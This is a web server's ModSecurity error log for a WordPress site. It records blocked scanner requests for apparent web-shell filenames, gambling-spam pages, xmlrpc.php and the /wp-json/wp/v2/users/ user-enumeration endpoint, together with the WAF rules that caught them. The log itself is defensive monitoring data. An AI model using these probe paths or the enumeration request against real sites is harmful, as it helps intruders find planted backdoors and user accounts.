[Thu Feb 05 22:24:25.711064 2026] [:error] [pid 14577:tid 14600] [client 20.220.62.160:61035] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/RIP.php"] [unique_id "aYSoGZZbKwRdMc_HlgKmnQAAAVU"]
[Thu Feb 05 22:24:26.940886 2026] [:error] [pid 31775:tid 31809] [client 20.220.62.160:61767] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/RIP.php"] [unique_id "aYSoGhNlTj92HTKsJN1G4gAAAQQ"]
[Thu Feb 05 22:24:31.448542 2026] [:error] [pid 33396:tid 33425] [client 20.220.62.160:60947] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/RIP.php"] [unique_id "aYSoH_Tgp_Ev6LiSSgDj8AAAANY"]
[Thu Feb 05 22:24:32.021918 2026] [:error] [pid 19213:tid 19232] [client 20.220.62.160:61724] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/RIP.php"] [unique_id "aYSoIF7WBXhXgHKWAIB6DgAAAc4"]
[Thu Feb 05 23:10:46.938908 2026] [:error] [pid 33396:tid 33404] [client 43.133.253.253:42828] [client 43.133.253.253] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYSy9vTgp_Ev6LiSSgDq6wAAAME"]
[Fri Feb 06 00:33:42.028947 2026] [:error] [pid 11121:tid 11140] [client 136.111.95.130:55456] [client 136.111.95.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.111.95.130, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYTGZhEsbmrTJ-7kOtbYTgAAAA4"]
[Fri Feb 06 00:33:45.234686 2026] [:error] [pid 11121:tid 11129] [client 136.111.95.130:55456] [client 136.111.95.130] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYTGaREsbmrTJ-7kOtbYVgAAAAM"]
[Fri Feb 06 00:33:48.138734 2026] [:error] [pid 11121:tid 11133] [client 136.111.95.130:55456] [client 136.111.95.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.111.95.130, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYTGbBEsbmrTJ-7kOtbYYQAAAAc"]
[Fri Feb 06 01:40:09.916584 2026] [:error] [pid 11123:tid 11199] [client 217.182.195.225:56642] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYTV-aJk7pHfPArl4eWxSQAAAQ8"]
[Fri Feb 06 01:40:12.492356 2026] [:error] [pid 11122:tid 11181] [client 217.182.195.225:48800] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYTV_D0RBzI4cnzjYXK1sgAAAJg"]
[Fri Feb 06 01:40:14.954990 2026] [:error] [pid 64116:tid 64143] [client 217.182.195.225:48808] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYTV_rq-pUXYJUX2oz8HZQAAANQ"]
[Fri Feb 06 01:40:17.504059 2026] [:error] [pid 11459:tid 11523] [client 217.182.195.225:53854] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYTWAZn3t_QGiBnEMgMUuAAAAEw"]
[Fri Feb 06 01:40:19.991837 2026] [:error] [pid 11121:tid 11146] [client 217.182.195.225:53868] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYTWAxEsbmrTJ-7kOtbuqwAAABM"]
[Fri Feb 06 01:40:22.443808 2026] [:error] [pid 64116:tid 64138] [client 217.182.195.225:53890] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYTWBrq-pUXYJUX2oz8HeAAAAM8"]
[Fri Feb 06 01:40:24.887525 2026] [:error] [pid 11122:tid 11170] [client 217.182.195.225:53904] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYTWCD0RBzI4cnzjYXK1xAAAAI0"]
[Fri Feb 06 01:40:27.375465 2026] [:error] [pid 64116:tid 64127] [client 217.182.195.225:40886] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYTWC7q-pUXYJUX2oz8HgwAAAMQ"]
[Fri Feb 06 01:40:29.843868 2026] [:error] [pid 64116:tid 64140] [client 217.182.195.225:40896] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYTWDbq-pUXYJUX2oz8HjgAAANE"]
[Fri Feb 06 01:40:32.342407 2026] [:error] [pid 64116:tid 64143] [client 217.182.195.225:40912] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYTWELq-pUXYJUX2oz8HnAAAANQ"]
[Fri Feb 06 01:40:34.814443 2026] [:error] [pid 11121:tid 11145] [client 217.182.195.225:40918] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYTWEhEsbmrTJ-7kOtbu5AAAABI"]
[Fri Feb 06 01:40:37.259098 2026] [:error] [pid 11122:tid 11158] [client 217.182.195.225:51090] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYTWFT0RBzI4cnzjYXK14gAAAII"]
[Fri Feb 06 01:40:39.692656 2026] [:error] [pid 64116:tid 64127] [client 217.182.195.225:51108] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYTWF7q-pUXYJUX2oz8HugAAAMQ"]
[Fri Feb 06 01:40:42.289392 2026] [:error] [pid 11123:tid 11196] [client 217.182.195.225:51122] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYTWGqJk7pHfPArl4eWxggAAAQw"]
[Fri Feb 06 01:40:44.680398 2026] [:error] [pid 11121:tid 11144] [client 217.182.195.225:51136] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYTWHBEsbmrTJ-7kOtbvAQAAABE"]
[Fri Feb 06 01:40:47.111182 2026] [:error] [pid 64116:tid 64132] [client 217.182.195.225:52802] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYTWH7q-pUXYJUX2oz8HxgAAAMk"]
[Fri Feb 06 01:40:49.552391 2026] [:error] [pid 11121:tid 11141] [client 217.182.195.225:52810] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYTWIREsbmrTJ-7kOtbvDAAAAA8"]
[Fri Feb 06 01:40:52.174637 2026] [:error] [pid 11122:tid 11173] [client 217.182.195.225:52840] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYTWJD0RBzI4cnzjYXK18AAAAJA"]
[Fri Feb 06 01:40:54.768673 2026] [:error] [pid 11122:tid 11156] [client 217.182.195.225:52854] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYTWJj0RBzI4cnzjYXK1-AAAAIA"]
[Fri Feb 06 01:40:57.188216 2026] [:error] [pid 11123:tid 11206] [client 217.182.195.225:51002] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aYTWKaJk7pHfPArl4eWxmgAAARY"]
[Fri Feb 06 01:40:59.787976 2026] [:error] [pid 64116:tid 64137] [client 217.182.195.225:51012] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYTWK7q-pUXYJUX2oz8H6QAAAM4"]
[Fri Feb 06 01:41:02.215827 2026] [:error] [pid 64116:tid 64123] [client 217.182.195.225:51028] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aYTWLrq-pUXYJUX2oz8H7AAAAMA"]
[Fri Feb 06 01:41:04.811619 2026] [:error] [pid 11121:tid 11141] [client 217.182.195.225:51036] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYTWMBEsbmrTJ-7kOtbvHgAAAA8"]
[Fri Feb 06 01:41:30.524910 2026] [:error] [pid 11122:tid 11181] [client 217.182.195.225:58230] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYTWSj0RBzI4cnzjYXK2KAAAAJg"]
[Fri Feb 06 02:00:00.596378 2026] [:error] [pid 11123:tid 11201] [client 20.220.62.160:7131] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYTaoKJk7pHfPArl4eW2KAAAARE"]
[Fri Feb 06 02:00:01.528520 2026] [:error] [pid 11459:tid 11521] [client 20.220.62.160:7041] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYTaoZn3t_QGiBnEMgMafQAAAEo"]
[Fri Feb 06 02:00:05.104444 2026] [:error] [pid 11123:tid 11208] [client 20.220.62.160:7117] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYTapaJk7pHfPArl4eW2MQAAARg"]
[Fri Feb 06 02:00:07.531463 2026] [:error] [pid 11121:tid 11133] [client 20.220.62.160:7106] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYTapxEsbmrTJ-7kOtb0PgAAAAc"]
[Fri Feb 06 02:42:59.729464 2026] [:error] [pid 11123:tid 11208] [client 34.19.89.2:56295] [client 34.19.89.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.19.89.2, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYTks6Jk7pHfPArl4eXA4QAAARg"]
[Fri Feb 06 02:43:03.389810 2026] [:error] [pid 11123:tid 11206] [client 34.19.89.2:56295] [client 34.19.89.2] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYTkt6Jk7pHfPArl4eXA6QAAARY"]
[Fri Feb 06 02:43:05.467812 2026] [:error] [pid 11123:tid 11188] [client 34.19.89.2:56295] [client 34.19.89.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.19.89.2, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYTkuaJk7pHfPArl4eXA7gAAAQQ"]
[Fri Feb 06 03:43:56.605425 2026] [:error] [pid 1664:tid 1711] [client 170.106.84.136:41862] [client 170.106.84.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYTy_O_0lM6yA3VnvQVQ0gAAAEs"]
[Fri Feb 06 08:28:18.654029 2026] [:error] [pid 13650:tid 13656] [client 20.220.62.160:65415] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/itil.php"] [unique_id "aYU1ohoU-_lpgnGeX7WkgQAAAUQ"]
[Fri Feb 06 08:28:19.664437 2026] [:error] [pid 34582:tid 34593] [client 20.220.62.160:65516] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/itil.php"] [unique_id "aYU1o-DeJq1JGssYG6z0JQAAAQg"]
[Fri Feb 06 08:28:20.557826 2026] [:error] [pid 1663:tid 1694] [client 20.220.62.160:65521] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/itil.php"] [unique_id "aYU1pF9EQrJaKkABjK8JpQAAABU"]
[Fri Feb 06 08:28:21.434764 2026] [:error] [pid 13650:tid 13659] [client 20.220.62.160:65450] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/itil.php"] [unique_id "aYU1pRoU-_lpgnGeX7WkgwAAAUc"]
[Fri Feb 06 08:28:21.657314 2026] [:error] [pid 34582:tid 34592] [client 20.220.62.160:65421] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jack.php"] [unique_id "aYU1peDeJq1JGssYG6z0KAAAAQc"]
[Fri Feb 06 08:28:22.098623 2026] [:error] [pid 34582:tid 34608] [client 20.220.62.160:65516] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jack.php"] [unique_id "aYU1puDeJq1JGssYG6z0KgAAARc"]
[Fri Feb 06 08:28:22.544624 2026] [:error] [pid 34582:tid 34609] [client 20.220.62.160:65491] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jack.php"] [unique_id "aYU1puDeJq1JGssYG6z0KwAAARg"]
[Fri Feb 06 08:28:22.967233 2026] [:error] [pid 1664:tid 1714] [client 20.220.62.160:65513] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jack.php"] [unique_id "aYU1pu_0lM6yA3VnvQXirAAAAE4"]
[Fri Feb 06 08:28:23.418234 2026] [:error] [pid 13650:tid 13655] [client 20.220.62.160:65431] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sudo.php"] [unique_id "aYU1pxoU-_lpgnGeX7WkigAAAUM"]
[Fri Feb 06 08:28:23.879681 2026] [:error] [pid 1663:tid 1681] [client 20.220.62.160:65442] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sudo.php"] [unique_id "aYU1p19EQrJaKkABjK8JqgAAAAg"]
[Fri Feb 06 08:28:24.355046 2026] [:error] [pid 1663:tid 1677] [client 20.220.62.160:65459] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sudo.php"] [unique_id "aYU1qF9EQrJaKkABjK8JrQAAAAQ"]
[Fri Feb 06 08:28:24.803403 2026] [:error] [pid 1773:tid 1799] [client 20.220.62.160:65507] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sudo.php"] [unique_id "aYU1qDYbySBHYmKOdJ8oIAAAANA"]
[Fri Feb 06 08:28:25.227045 2026] [:error] [pid 13650:tid 13674] [client 20.220.62.160:65495] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/law.php"] [unique_id "aYU1qRoU-_lpgnGeX7WkjQAAAVY"]
[Fri Feb 06 08:28:25.717782 2026] [:error] [pid 13650:tid 13656] [client 20.220.62.160:65514] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/law.php"] [unique_id "aYU1qRoU-_lpgnGeX7WkjwAAAUQ"]
